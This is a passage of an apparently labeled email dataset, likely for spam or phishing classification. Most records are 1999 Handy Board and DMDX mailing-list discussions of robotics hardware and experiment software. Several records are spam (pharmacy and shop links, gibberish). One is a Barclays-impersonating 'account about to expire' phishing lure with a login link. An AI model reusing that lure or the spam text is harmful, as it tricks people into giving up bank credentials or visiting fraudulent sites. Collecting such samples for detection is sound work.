server. The message below was auto-posted by the server when the new newsgroup (which is being gatewayed with the mailing list) was created. I forgot to disable echo on the initial two auto-post messages. Fred will probably post some general information tomorrow...we're almost done creating the gateway. --Todd Lehman LUGNET Server wrote: > TERMS OF USE FOR LUGNET.COM > > [...snip...] ",0,0 Jaron ,"Peter , Handy Board Mailing List ","Mon, 13 Sep 1999 09:03:07 +0200",Re: Is there a device that...?,"Isn't your parallel port itself what you want? I always understood that it could be reached (coded) quite easily? That should give you 7 channels! ----- Original Message ----- From: Peter To: Handy Board Mailing List Sent: Sunday, September 12, 1999 12:29 AM Subject: Is there a device that...? > Is there a device that connects to a computers COM or Parallel port that > can measure voltage, on different channels. All I need is a digital > input like the HB. So if there is a signal it would report true and if > there is no signal then it would report false. I need 7 different > channels, and it has to be able to communicate with a C++ program. > > Thanks > > -- > --Peter Eacmen > eacmen@att.net > > >",0,0 Jaron ,"Jose Luis , handyboard@media.mit.edu","Mon, 13 Sep 1999 09:06:39 +0200",Re: Four Wheel Base,"I disassembled quite some (lego) models, I also use differential steering. I position the wheels like most models on a square (so width and length of wheel base is equal). Funny thing about a square is that a circle can be drawn from the middle crossing the 4 corners. This is your ideal turning circle (if the wheels were spheres). ----- Original Message ----- From: Jose Luis To: Sent: Monday, September 13, 1999 12:32 AM Subject: Four Wheel Base > Hi, > > Has someone tried a four wheel robot base using diferential traction?, I'm > making this question because I'm not sure of the tree wheel configuration, > in the last base that I made, the caster wheel has ever maked some bad > influence in the robot trajectory, Also my motors are not very powerful so I > think that with four of them there will be best results. I believe that in > each side of the base the correponding pair of wheels must be enough close > one of the other to allow the robot to turn without problems. I am right? > > Thank You > > Jose Luis > > >",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Mon, 13 Sep 1999 13:54:36 +0100",[DMDX] 2 Input questions,"Hi. The Help files say the following... JOYSTICK 1 (and any name that begins with JOYSTICK) +Button 0 REQUEST +Button 2 NEG_RESP +Button 1 POS_RESP Is it possible to have have four responses from a joystick, i.e. left, right, up and down? Also, I would like to use the number pad numbers as input but I can't see how to map these keys. In the TimeDX input test they are refered to as ""Numpad 1"" etc, but DMDX doesn't recognise this when I try and map these keys. Thanks - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 Gareth Gaskell ,DMDX@psy1.psych.arizona.edu,"Mon, 13 Sep 1999 13:59:21 +0100",[DMDX] Re: 2 Input questions,"At 13:54 13/09/99 +0100, you wrote: >Hi. The Help files say the following... > >JOYSTICK 1 (and any name that begins with JOYSTICK) > +Button 0 REQUEST > +Button 2 NEG_RESP > +Button 1 POS_RESP > >Is it possible to have have four responses from a joystick, i.e. left, >right, up and down? I think the movement of the joystick is expected to be disabled. No doubt Jonathan will let you know in suitably stroppy fashion. PS. Did you say you were thinking of sending an email round about my leaving do? If so I reckon Thursday next week would be best. If not, don't worry I'll send something round myself. gareth ==================================================================== Dr. Gareth Gaskell -------------------------------------------------------------------- MRC Cognition and Brain Sciences Unit Fax: 01223 359062 15 Chaucer Road Phone: 01223 355294 xt 620 Cambridge CB2 2EF Email: gareth.gaskell@mrc-cbu.cam.ac.uk UK http://www.mrc-cbu.cam.ac.uk/personal/gareth.gaskell ==================================================================== ",0,1 """KwangJu, Lee"" ",Michael N Rosenblatt ,"Mon, 13 Sep 1999 21:37:13 +0900",Re: RF Module,"Thanks a lot! As your advice, I programmed one of motor port, and hooked the signal from it. Tested with this 500Hz wave, and trimmed with care, the receiver module begins to response. Great thanks for your help! I've had two couple of receiver/transmitter modules. But unfortunately, I spoil one of receiver modules connecting power inversely by mistake. I should buy one more RF module couple. T.T ----- Original Message ----- From: Michael N Rosenblatt To: KwangJu, Lee Cc: Handyboard Sent: Friday, September 10, 1999 11:18 PM Subject: Re: RF Module > > > Hi, Sorry I didn't get back to you yesterday. > > It sounds like you need to tune your radio modules. It could be your > transmitter, receiver or both. If you don't have a function generator to > create an input square wave for testing, you could try to get a timing > pulse off the Handy Board somewhere. The servo libs pulse at about 50 Hz > (I think) which is likely to be too slow for the radio modules. You > really need something in the 300 Hz to 1400 Hz range, and close to 50% > duty cycle. There is a timing signal to the motor driver chips, but I'm > not sure what the frequency is. (does anyone have this info?) > > The reason why is is difficult to tune the modules off the pulse created > by the encoder board is that it transmitts in packets (I think it's a 12 > bit word repeated 3 times per packet). There is lots of time, between > packets, you really need a constant input signal. > > Once you have an input wave set up, watch the data out of the RE module on > your scope and tune the cap. the modules come pretty reliably tuned from > the factory, so if you have any that that have not been adjusted, you > should start by using that to first tune one module, and then tune the > other (if you have a new transmitter, use it to adjust your receiver...) > > good luck, > Michael > > On Thu, 9 Sep 1999, KwangJu, Lee wrote: > > > Thanks your advice. > > But I have trouble still. > > > > I've confirm the encoder/decoder operation as you said. They works well. > > But radio modules, don't work. > > I assemble transmitter and encoder board, and confirm wave signal on the data in pin > > with my oscilloscope. But I check the data out pin on the receiver board, it just > > stay at HIGH - 5V always. I checked the V+ and GND pin, and it reports 5V and 0V, each. > > How can I repair it? I connect antenna ground pin to the receiver module ground, and > > antenna pin to 30cm jumper wire of 28 gauge. > > > > > > ----- Original Message ----- > > From: Michael N Rosenblatt > > To: KwangJu, Lee > > Cc: Handyboard > > Sent: Thursday, September 09, 1999 1:39 PM > > Subject: Re: RF Module > > > > > > > > > > Hi. > > > > > > Have you tried attaching the data out (middle pin on three pin header) > > > from the encoder board to the data in (also middle pin on three pin > > > header) on the decoder with a common ground to each? This will allow you > > > to test the encoder/decoder boards without the radio modules. > > > > > > As for tuning the variable capacitor on the transmitter and receiver > > > boards, the best way is to set up a 0-5v square wave ~1KHz on a function > > > generator and plug it into the data in of the transmitter. Supply power > > > and ground to each (doesn't have to be common) and watch the data out on > > > your scope. Play with the tuning until the wave is noise-free. > > > > > > Now, backing up, you realize that you can't use the encoder/decoder boards > > > to replace the wire serial connection to the computer? If you have a way > > > of controlling the 4 digital input lines on the encoder board from your > > > computer, and you read the 4 output lines on the decoder with the HB's > > > digital ports, you could establish control from your PC (or alternatively, > > > you could put switches on the encoder board and control it directly, > > > manually). However, I'm pretty certain that the internal protocall of the > > > encoder/decoders, and the baud rate would prevent it from working as a > > > download cable replacement. Let me know it you find this to be wrong, as > > > the Ming boards are a great low-cost RF item. > > > > > > best, > > > Michael > > > > > > > > > On Thu, 9 Sep 1999, KwangJu, Lee wrote: > > > > > > > I'm trying to attach RF module to my handy board. > > > > I purchased the modules from MING system, - RE-99, TX-99, > > > > RE-01, TX-01. > > > > I want to set up communication between Handy board and IBM-PC > > > > using these modules. So I assembly the modules, but they don't work. > > > > I test the encoder/decoder board and they operate well. > > > > But I attach the receiver module, it can't get signal from transmitter module. > > > > I guess the transmitter board may be works well since I check it with oscilloscope. > > > > But however I adjust the variable capacitor on the receiver board, the relay > > > > on the encoder board doesn't response. The only time the receiver board response > > > > is when I connect the antenna ground pin to the transmitter's ground. > > > > How can I let them work? > > > > > > > > > > > > > > > > > > > > > > > > > >",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 13 Sep 1999 09:35:52 -0700",[DMDX] Re: 2 Input questions,"At 01:59 PM 9/13/99 +0100, you wrote: >At 13:54 13/09/99 +0100, you wrote: >>Hi. The Help files say the following... >> >>JOYSTICK 1 (and any name that begins with JOYSTICK) >> +Button 0 REQUEST >> +Button 2 NEG_RESP >> +Button 1 POS_RESP >> >>Is it possible to have have four responses from a joystick, i.e. left, >>right, up and down? > >I think the movement of the joystick is expected to be disabled. No doubt >Jonathan will let you know in suitably stroppy fashion. As noted in the help files the axes are analog inputs and are not supported. One day analog input support may be implimented but it isn't right now. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Power corrupts, and absolute power corrupts absolutely. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 13 Sep 1999 09:36:48 -0700",[DMDX] Re: 2 Input questions,"At 01:54 PM 9/13/99 +0100, you wrote: >Also, I would like to use the number pad numbers as input but I can't see >how to map these keys. In the TimeDX input test they are refered to as >""Numpad 1"" etc, but DMDX doesn't recognise this when I try and map these keys. Are you using the name ""+Numpad 1"" as opposed to ""Numpad 1""? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Power corrupts, and absolute power corrupts absolutely. ",0,0 """Mar, Ericson"" ","'Jaron' , Peter , Handy Board Mailing List ","Mon, 13 Sep 1999 15:51:14 +0200",RE: Is there a device that...?,"Yeah! You're right! I've seen it done in Basic so I would assume C++ has a function. But, I don't remeber wether they are at 12V or 5V. (?) > Ericson Mar > Global Settlement Systems > CREDIT | FIRST > SUISSE | BOSTON > 5 World Trade Center Phone: (212)322-1325 > New York, NY Pager: (888)778-1025, Skytel > PIN:7781025 > Email : mailto:ericson.mar@csfb.com > Skymail : mailto:7781025@skytel.com > > > > > > -----Original Message----- > From: Jaron [SMTP:j.paludanus@cable.a2000.nl] > Sent: Monday, September 13, 1999 3:03 AM > To: Peter; Handy Board Mailing List > Subject: Re: Is there a device that...? > > Isn't your parallel port itself what you want? I always understood that it > could be reached (coded) quite easily? That should give you 7 channels! > > > ----- Original Message ----- > From: Peter > To: Handy Board Mailing List > Sent: Sunday, September 12, 1999 12:29 AM > Subject: Is there a device that...? > > > > Is there a device that connects to a computers COM or Parallel port that > > can measure voltage, on different channels. All I need is a digital > > input like the HB. So if there is a signal it would report true and if > > there is no signal then it would report false. I need 7 different > > channels, and it has to be able to communicate with a C++ program. > > > > Thanks > > > > -- > > --Peter Eacmen > > eacmen@att.net > > > > > >",0,0 Glashans ,HandyBoard List ,"Mon, 13 Sep 1999 20:06:29 +0200",Re: Is there a device that...?,"Its Easy to do in pascal as well as C++ using the PORT[address] command. Ive used It before to control external devices. A normal parralell pot has 8 outputs D0 - 7 and a few lines that you can use as inputs (not sure which ones though?) The port voltage is 5V so you may need some buffering... Ross -----Original Message----- From: Mar, Ericson To: 'Jaron' ; Peter ; Handy Board Mailing List Date: 13 September 1999 16:13 Subject: RE: Is there a device that...? >Yeah! You're right! I've seen it done in Basic so I would assume C++ has a >function. >But, I don't remeber wether they are at 12V or 5V. (?) > > >> Ericson Mar >> Global Settlement Systems >> CREDIT | FIRST >> SUISSE | BOSTON >> 5 World Trade Center Phone: (212)322-1325 >> New York, NY Pager: (888)778-1025, Skytel >> PIN:7781025 >> Email : mailto:ericson.mar@csfb.com >> Skymail : mailto:7781025@skytel.com >> >> >> >> >> >> -----Original Message----- >> From: Jaron [SMTP:j.paludanus@cable.a2000.nl] >> Sent: Monday, September 13, 1999 3:03 AM >> To: Peter; Handy Board Mailing List >> Subject: Re: Is there a device that...? >> >> Isn't your parallel port itself what you want? I always understood that it >> could be reached (coded) quite easily? That should give you 7 channels! >> >> >> ----- Original Message ----- >> From: Peter >> To: Handy Board Mailing List >> Sent: Sunday, September 12, 1999 12:29 AM >> Subject: Is there a device that...? >> >> >> > Is there a device that connects to a computers COM or Parallel port that >> > can measure voltage, on different channels. All I need is a digital >> > input like the HB. So if there is a signal it would report true and if >> > there is no signal then it would report false. I need 7 different >> > channels, and it has to be able to communicate with a C++ program. >> > >> > Thanks >> > >> > -- >> > --Peter Eacmen >> > eacmen@att.net >> > >> > >> > >",0,0 Jose Luis ,"""Mar, Ericson"" , Handy Board Mailing List ","Mon, 13 Sep 1999 15:42:06 -0300",RE: Is there a device that...?,"In C you can use the functions outport and inport, and the paralell port has TTL levels (5 V.). Bye Jose Luis ----- Original Message ----- From: Mar, Ericson To: 'Jaron' ; Peter ; Handy Board Mailing List Sent: Monday, September 13, 1999 10:51 AM Subject: RE: Is there a device that...? > Yeah! You're right! I've seen it done in Basic so I would assume C++ has a > function. > But, I don't remeber wether they are at 12V or 5V. (?) > > > > Ericson Mar > > Global Settlement Systems > > CREDIT | FIRST > > SUISSE | BOSTON > > 5 World Trade Center Phone: (212)322-1325 > > New York, NY Pager: (888)778-1025, Skytel > > PIN:7781025 > > Email : mailto:ericson.mar@csfb.com > > Skymail : mailto:7781025@skytel.com > > > > > > > > > > > > -----Original Message----- > > From: Jaron [SMTP:j.paludanus@cable.a2000.nl] > > Sent: Monday, September 13, 1999 3:03 AM > > To: Peter; Handy Board Mailing List > > Subject: Re: Is there a device that...? > > > > Isn't your parallel port itself what you want? I always understood that it > > could be reached (coded) quite easily? That should give you 7 channels! > > > > > > ----- Original Message ----- > > From: Peter > > To: Handy Board Mailing List > > Sent: Sunday, September 12, 1999 12:29 AM > > Subject: Is there a device that...? > > > > > > > Is there a device that connects to a computers COM or Parallel port that > > > can measure voltage, on different channels. All I need is a digital > > > input like the HB. So if there is a signal it would report true and if > > > there is no signal then it would report false. I need 7 different > > > channels, and it has to be able to communicate with a C++ program. > > > > > > Thanks > > > > > > -- > > > --Peter Eacmen > > > eacmen@att.net > > > > > > > > >",0,0 Lindsay ,allison@psy1.psych.arizona.edu,"Mon, 13 Sep 1999 10:14:30 -0500",b4d health - I know how to help,"b4d health - I know how to help Good day to you my friend! ;) I am ready to kill myself and eat my dog, if medicine prices here (http://fnhelv.slicebred.info/?35047907) are bad. Look, the site and call me 1-800 if its wrong..   My dog and I are still alive :)",1,1 Veronica Engstrom ,handyboard@media.mit.edu,"Tue, 14 Sep 1999 04:00:34 -0500",What's Hot in America today?,"a nanosecond not librate be paraguay ! berman the vanilla ",1,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 14 Sep 1999 08:24:40 -0700",[DMDX] Re: Input from the number pad,"So try -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Power corrupts, and absolute power corrupts absolutely.",0,0 Peter Gasparik ,handyboard@media.mit.edu,"Tue, 14 Sep 1999 07:20:23 -0700",Java VM - Beta2 ,"For those who are interested, the Java VM Beta 2 has been released. Major improvements include: - garbage collection - floating point - demo applications for HB with and without expansion board http://members.xoom.com/simpleRTJ/home.html __________________________________________________ Do You Yahoo!? Bid and sell for free at http://auctions.yahoo.com ",0,1 Adam Oliver ,handyboard@media.mit.edu,"Wed, 15 Sep 1999 00:14:14 +0800",Re: Java VM - Beta2 ,"wow,i've just had a look at the site and I have to say it sounds very good. When I get some holidays I'll have a look at porting some ic code across and see what I can make happen :-) Adam ----- Original Message ----- From: Peter Gasparik To: Sent: Tuesday, September 14, 1999 10:20 PM Subject: Java VM - Beta2 > For those who are interested, the Java VM Beta 2 has been released. > Major improvements include: > - garbage collection > - floating point > - demo applications for HB with and without expansion board > > http://members.xoom.com/simpleRTJ/home.html > > > __________________________________________________ > Do You Yahoo!? > Bid and sell for free at http://auctions.yahoo.com >",0,1 """Mulampaka, Kalyan (GEIS, ASI)"" ",handyboard@media.mit.edu,"Tue, 14 Sep 1999 14:13:56 -0400",HandyBoard and Jini,"Hi Has anyone tried Jini on HandyBoard? If so, Can anyone send the links for those websites ? Thanks Kalyan Mulampaka Software Engineer e Information Services ___________________________ ",0,0 TH0RMAN23@aol.com,"hal9000@cvtci.com.ar, ericson.mar@csfb.com, handyboard@media.mit.edu","Tue, 14 Sep 1999 22:48:09 -0400",Re: Is there a device that...?,"I am currently using my parallel port for the same application. I am not sure how specific your question was, but the output voltage is 5Vdc. However, remember that this is a logic level which means it will not give not give you more than ~20mA ( I am not sure). So if your load require more than that, you might need to use a separate 5Vdc source. The output pins and input pins of the parallel port that you are looking for is as follow: INPUT PINS DB25 BIT # ------ ------ 15 3 13 4 12 5 10 6 11 7 OUTPUT PINS DB25 BIT # ------- ------ 2 0 3 1 4 2 5 3 6 4 7 5 8 6 9 7 Good Luck! ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Wed, 15 Sep 1999 03:27:30 +0000",Re: Debugging the memory circuit,"Hi Ed -- it *could* be that the desktop you're using isn't set up right to download to the HB's. do you have a known good HB you can use to test the download? alternately, there are some serial line debug instructions at http://el.www.media.mit.edu/projects/handy-board/faq/winindex.html fred In lugnet.robotics.handyboard, handyboard@media.mit.edu (Edward Delaney) writes: >We've assembled two handy boards up to the point where we are testing >the downloader. In section 6.0.6 of the assembly guide, it says >""If the download process appears to go correctly, but then the Handy Board does not boot >with the Interactive C prompt, the memory circuit may not be working properly. Check >the orientations of chips U2 (the memory chip itself), U3 (the 74HC373 chip underneath >the memory), and U7 (the 74HC132 chip). If any of the chips is getting hot, it is probably >plugged in backward. >Check the soldering joints on the above mentioned chips, re-heating any that appear >suspect. >Finally, check continuity for each of the wires in the memory circuit (including address >lines, data lines, and select lines). Check that any adjacent wires are not shorted together."" > >Well, this is where we are. Both boards behave the same way and have been assembled >step by step by two groups of students. The download proceeds but the >boards won't boot. No chips are hot, everything is oriented correctly. >We've swapped chips with known good HB's to no avail. > >Can someone help us by being more specific about testing the memory circuit? >There are several sets of conenctions that appear to be shorted together, but >the soldering looks very clean and there is no visible problem. Should there >in fact be continuity between any adjacent pins on these chips? > >Many thanks! >Ed Delaney >----------------------------------------------------------------- >Ed Delaney edelaney@sctcorp.com (work) > or edwardd@earlham.edu (everthing else) >http://www.earlham.ed ",0,1 """Fred G. Martin"" ",handyboard@media.mit.edu,"Wed, 15 Sep 1999 04:15:08 +0000",Handy Board list now a LUGNET newsgroup,"Dear all, As announced, the Handy Board mailing list is now also a LUGNET (LEGO Users Group Network) newsgroup. What does this mean to you? It depends; if you are lazy, it can have no effect at all (maybe this is what you want :-). Or, if you are motivated, you now have many options for getting your Handy Board information fix. OPTION 1: NO EFFECT. You can still send mail to handyboard@media.mit.edu, and it will still work just fine. Mail sent to this addr will seamlessly appear on the LUGNET newsgroup (yay, Todd!). Also, ""articles"" (that is, messages) originated on the LUGNET group will be mailed to you on the handyboard list. OPTION 2: BROWSE THE NEWSGROUP ON THE WEB. You can now browse threaded discussions of the HB list on the web! Wow! Just visit . If you want to reply to a message you see on the web, you'll have to fill out a LUGNET news-posting form; the link'll come up when you try to post. OPTION 3: ALL HB TRAFFIC THRU LUGNET. At some point, you may like the web interface, and no longer want messages mailed to you. That's fine: just write me (Fred Martin, fredm@media.mit.edu) an unsubscribe message. I'll take you off the handyboard@media.mit.edu distribution. You can still browse the web interface. Or, you may decide you'd prefer the HB mail to be sent to you from LUGNET. This gives you lovely archive options and the like. (Visit the LUGNET Mail Setup Page, , to do this.) You'll probably want to unsubscribe from the Media Lab distribution if you sign up for LUGNET delivery; otherwise, you'll be getting two copies of everything. Remember, write to me (Fred Martin, fredm@media.mit.edu) to unsubscribe from the handyboard@media.mit.edu list. OPTION 4: SUBSCRIBE TO LUGNET.ROBOTICS.HANDYBOARD AS A NEWSGROUP. Some of you may prefer to use a news-reader rather than the web interface or direct email. Now through LUGNET, you have that option. See for info. Just so people know, I'll be directing new users to subscribe via LUGNET rather than adding people to the handyboard@media list. I realize this may be a little confusing. Keep in mind that if you do nothing, everything will still work like it has been. So take your time, explore the options, and if you're ready to try the LUGNET delivery, go ahead and send me an unsubscribe message. Todd Lehman, co-creator and administrator of LUGNET, is around to answer your questions. I hope people don't mind a little bit of administrative traffic as we all figure this out. I think it'll",0,1 """Fred G. Martin"" ",handyboard@media.mit.edu,"Wed, 15 Sep 1999 04:19:19 +0000",Re: Handy Board list now a LUGNET newsgroup,"The tail end of my message got cut off. All I wanted to say was, ""I think it'll be worth it. Yours, Fred"" :-) BTW, one nice feature of LUGNET over handyboard@media is that messages get distributed a LOT faster when they come from LUGNET. Fred In lugnet.robotics.handyboard, Fred G. Martin writes: >Dear all, > >As announced, the Handy Board mailing list is now also a LUGNET (LEGO Users >Group Network) newsgroup. > >What does this mean to you? It depends; if you are lazy, it can have no effect >at all (maybe this is what you want :-). Or, if you are motivated, you now >have many options for getting your Handy Board information fix. > > >OPTION 1: NO EFFECT. > >You can still send mail to handyboard@media.mit.edu, and it will still work >just fine. Mail sent to this addr will seamlessly appear on the LUGNET >newsgroup (yay, Todd!). Also, ""articles"" (that is, messages) originated on the >LUGNET group will be mailed to you on the handyboard list. > > >OPTION 2: BROWSE THE NEWSGROUP ON THE WEB. > >You can now browse threaded discussions of the HB list on the web! Wow! Just >visit . If you want to reply to a >message you see on the web, you'll have to fill out a LUGNET news-posting form; >the link'll come up when you try to post. > > >OPTION 3: ALL HB TRAFFIC THRU LUGNET. > >At some point, you may like the web interface, and no longer want messages >mailed to you. That's fine: just write me (Fred Martin, fredm@media.mit.edu) >an unsubscribe message. I'll take you off the handyboard@media.mit.edu >distribution. You can still browse the web interface. > >Or, you may decide you'd prefer the HB mail to be sent to you from LUGNET. >This gives you lovely archive options and the like. (Visit the LUGNET Mail >Setup Page, , to do this.) You'll >probably want to unsubscribe from the Media Lab distribution if you sign up for >LUGNET delivery; otherwise, you'll be getting two copies of everything. >Remember, write to me (Fred Martin, fredm@media.mit.edu) to unsubscribe from >the handyboard@media.mit.edu list. > > >OPTION 4: SUBSCRIBE TO LUGNET.ROBOTICS.HANDYBOARD AS A NEWSGROUP. > >Some of you may prefer to use a news-reader rather than the web interface or >direct email. Now through LUGNET, you have that option. See > for info. > > >Just so people know, I'll be directing new users to subscribe via LUGNET rather >than adding people to the handyboard@media list. > >I realize this may be a little confusing. Keep in mind that if you do nothing, >everything will still work like it has been. So take your time, explore the >options, and if you're ready to try the LUGNET delivery, go ahead and send me >an unsubscribe message. > >Todd Lehman, co-creator and administrator of LUGNET, is around to answer your >questions. I hope people don't mind a little bit of administrative traffic as >we all figure this out. > >I thi",0,1 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Wed, 15 Sep 1999 10:15:14 +0100",[DMDX] Re: Input from the number pad,"> So try This works, thank you. Thought I'd that, but obviously not. - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox",0,1 """Otherwise P. Huckster"" ",Luis ,"Wed, 15 Sep 1999 15:24:56 -0400",Premier,"Tired of low-quality Chinese and Indian medications? Use only the branded one! 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",DMDX@psy1.psych.arizona.edu,"Wed, 15 Sep 1999 08:57:19 -0700",[DMDX] Re: Input from the number pad,"At 10:15 AM 9/15/99 +0100, you wrote: > >> So try > >This works, thank you. >Thought I'd that, but obviously not. Yeah, quotes around strings are not exactly consistent through DMDX, I couldn't make my mind up as I was writing the thing whether to make them compulsory or not and so have wound up with the awful situation where they are needed in some places and not allowed in others and even I have no idea where. I tend to use quotes when in doubt, if anyone finds places where they don't work tell me and I'll change the code so we can migrate to the quotes everywhere scenario (old item files that work and don't have quotes won't be broken however). -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Power corrupts, and absolute power corrupts absolutely.",0,0 tking@together.net,handyboard@media.mit.edu,"Wed, 15 Sep 1999 13:00:23 +0000",Re: Is there a device that...?,"Re: Parallel Port... if you want to see how to get 8 input bits, all straightened out, see: http://homepages.together.net/~tking/parport.htm There is also a program called SEEBITS that allows you to easily see all the input bits and set the output bits on and off. I am working on a ""Parallel Port Brick"" that will have outputs identical to an RCX, but be run from the PC, for the stationary portions of larger projects with many more bits ... Eventually I may do the inputs, too. -- Terry King ...In The Woods In Vermont ",0,1 Edward Delaney ,handyboard@media.mit.edu,"Wed, 15 Sep 1999 08:11:11 -0500",Re: Debugging the memory circuit,"Thanks Fred, Yes, we have several working ones that download and boot just fine. In fact we're going ahead with these, but it means we don't have 1 bot per student. Since the download appears to work, and just the boot does not, I'm stumped. It's also odd that both boards are behaving the same way. We'll be doing some more comparisons to the working boards later. Is there any way to access a monitor level function on this thing that would let us peek and poke around in memory to see if it really is accessible? I'm thinking that it appears the serial connection works, so can I talk to it directly my self? thanks, ed At 03:27 AM 9/15/99 GMT, you wrote: >Hi Ed -- it *could* be that the desktop you're using isn't set up right to >download to the HB's. do you have a known good HB you can use to test the >download? alternately, there are some serial line debug instructions at > > http://el.www.media.mit.edu/projects/handy-board/faq/winindex.html > ----------------------------------------------------------------- Ed Delaney edelaney@sctcorp.com (work) or edwardd@earlham.edu (everthing else) http://www.earlham.edu/~edwardd ",0,1 Carlos,Mostyn ,"Wed, 15 Sep 1999 00:54:59 -0900",everything kool,"Hey Mostyn, Ramon wanted to me to send you an email about the store I went to buy my goods, http://www.fabloulusil.com/tpn/. Carlos ",1,1 """Fred G. Martin"" ",handyboard@media.mit.edu,"Wed, 15 Sep 1999 13:20:13 +0000",Re: Debugging the memory circuit,"Ed -- there is an old utility, mon.exe, that might work. it's at ftp://cher.media.mit.edu/pub/projects/miniboard/ms-dos/mon.exe there's a cmd line flag to put it in extended memory mode. fred In your message you said: > Thanks Fred, > Yes, we have several working ones that download and boot just fine. > In fact we're going ahead with these, but it means we don't have > 1 bot per student. > > Since the download appears to work, and just the boot does not, > I'm stumped. It's also odd that both boards are behaving the same way. > We'll be doing some more comparisons to the working boards later. > > Is there any way to access a monitor level function on this thing that > would let us peek and poke around in memory to see if it really > is accessible? I'm thinking that it appears the serial connection > works, so can I talk to it directly my self? > thanks, > ed > > > At 03:27 AM 9/15/99 GMT, you wrote: > >Hi Ed -- it *could* be that the desktop you're using isn't set up right to > >download to the HB's. do you have a known good HB you can use to test the > >download? alternately, there are some serial line debug instructions at > > > > http://el.www.media.mit.edu/projects/handy-board/faq/winindex.html > > > ----------------------------------------------------------------- > Ed Delaney edelaney@sctcorp.com (work) > or edwardd@earlham.edu (everthing else) > http://www.earlham.edu/~edwardd > ",0,1 Chuck McManis ,handyboard@media.mit.edu,"Wed, 15 Sep 1999 09:39:02 -0700",Re: Is there a device that...?,"One manufacturer of such a device is Fascinating Electronics of Oregon. They make a device that hooks to your serial port, you send it ""commands"" and it answers. The board has a/d inputs digital inputs and outputs a relay output, etc. It works by talking to an on board 80552 that is running a control monitor. If you get a true C compiler for the HB (either GCC or ICC11 will work fine) you can do much the same with a handyboard. Write a simple program that waits for input on the serial port and then returns the status to the PC. A more cost-effective solution was the Miniboard and even had a program that was mostly there called HEXMON or something similar. Driving a parallel port directly is possible, but as Parallax will tell you it is fraught with compatibility dangers (their original BASIC Stamp used the parallel port for communication.) --Chuck ",0,0 Gloria Jang ,handyboard@media.mit.edu,"Wed, 15 Sep 1999 10:06:33 -0700",proximity sensors,"hello, I am a fourth year EE student at the University of British Columbia. For my team project, we have to construct a robot which is able to learn a maze and then find the quickest way to navigate through it. I was thinking of only use infrared technology for the proximity sensors, as opposed to sonar. Could you provide me with some information regarding that topic? Thanks, Gloria ",0,0 Dennis Clark ,handyboard@media.mit.edu,"Wed, 15 Sep 1999 17:15:56 +0000",Re: proximity sensors,"In lugnet.robotics.handyboard, handyboard@media.mit.edu (Gloria Jang) writes: >I am a fourth year EE student at the University of British Columbia. >For my team project, we have to construct a robot which is able to learn >a maze and then find the quickest way to navigate through it. I was >thinking of only use infrared technology for the proximity sensors, as >opposed to sonar. Could you provide me with some information >regarding that topic? Well, just on the subject of proximity detectors, I have a couple of projects on my web page that use IR LEDs to do proximity detection. I have the code for the PIC based solution posted and a couple of different circuits, including one for the LEGO RCX. http://www.verinet.com/~dlc/botlinks.htm. For the IRPD PIC code see the PIC based IRPD project, for the LEGO circuits see the Mindstorms IRPD project. have fun, DLC ",0,1 """Barclays PLC."" ",handyboard@media.mit.edu,"Tue, 14 Sep 1999 20:46:08 -0400",Online Account About To Expire,"personal & business account Security Alert Please note that Your Barclays Online Account is about to expire. In order for it to remain active, please Use the link below to proceed and access your account: Login",1,1 tking@together.net,handyboard@media.mit.edu,"Wed, 15 Sep 1999 22:31:32 +0000",Re: proximity sensors,"Dennis I got this back from that URL: http://www.verinet.com/verinet/file_not_found/file_not_found.html -- Terry King ...In The Woods In Vermont ",0,1 Sean Verret ,tking@together.net,"Wed, 15 Sep 1999 15:52:58 -0700",Re: proximity sensors,"for most of your handyboard micromouse needs go to http://www.ee.ualberta.ca/~verret/ee401/ ; > > Dennis I got this back from that URL: > > http://www.verinet.com/verinet/file_not_found/file_not_found.html > > -- > Terry King ...In The Woods In Vermont -- -------------------------------------------------------------- Sean Verret Design Services PMC-Sierra ext 2527 -------------------------------------------------------------- ""Only quitters.........quit!"" - Red Forman -------------------------------------------------------------- Eagles may soar, but weasels don't get sucked into jet engines -------------------------------------------------------------- ",0,1 Augusto ,Handy Board ,"Wed, 15 Sep 1999 21:25:18 -0300",Educational industrial robot,"Dear Handy Board list member: I am looking for an industrial robot built for education purposes. I know that some place there is a company building them but I lost their address. Thanking you in advance, I remain Augusto Bahia E-mail bahia@mandic.com.br ",0,0 Phil ,handyboard@media.mit.edu,"Wed, 15 Sep 1999 19:57:44 -0500",Wheelchair,"I just got my hands on an electric wheelchair for $20... any ideas? Has anyone interfaced a wheelchair to a handyboard before? I'm not sure if I want people riding on it, but I'm thinking I can mount a vacuum cleaner under it or something ;-) -phil ",0,0 Javaid Iqbal ,Handy Board ,"Thu, 16 Sep 1999 13:51:05 +1000",Boolean operators in IC,"Hi all, Can any body please explain me how to use Boolean operators in IC with some simple example as I could not find any example. Thanks. Kind Regards, Javaid Iqbal ",0,0 Elen 